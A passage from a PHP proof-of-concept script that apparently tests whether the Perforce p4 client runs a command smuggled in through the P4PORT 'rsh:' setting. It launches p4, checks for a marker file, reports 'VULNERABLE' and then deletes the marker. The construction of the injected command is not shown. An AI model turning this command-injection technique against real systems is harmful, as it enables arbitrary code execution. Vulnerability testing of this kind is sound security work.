['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ]; $process = proc_open($command, $descriptors, $pipes); if (!is_resource($process)) { fwrite(STDERR, "[-] Could not start p4.\n"); exit(1); } fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $status = proc_close($process); if ($stdout !== '') { echo "[*] p4 stdout:\n{$stdout}"; } if ($stderr !== '') { echo "[*] p4 stderr (an error is expected because the marker command is not a Perforce server):\n{$stderr}"; } if (!file_exists($marker)) { fwrite(STDERR, "[-] Marker was not created (p4 exit status: {$status}).\n"); exit(1); } echo "[+] VULNERABLE: p4 executed the P4PORT rsh: command.\n"; echo "[+] Marker: {$marker}\n"; if (!$keepMarker) { unlink($marker); echo "[*] Marker removed.\n"; }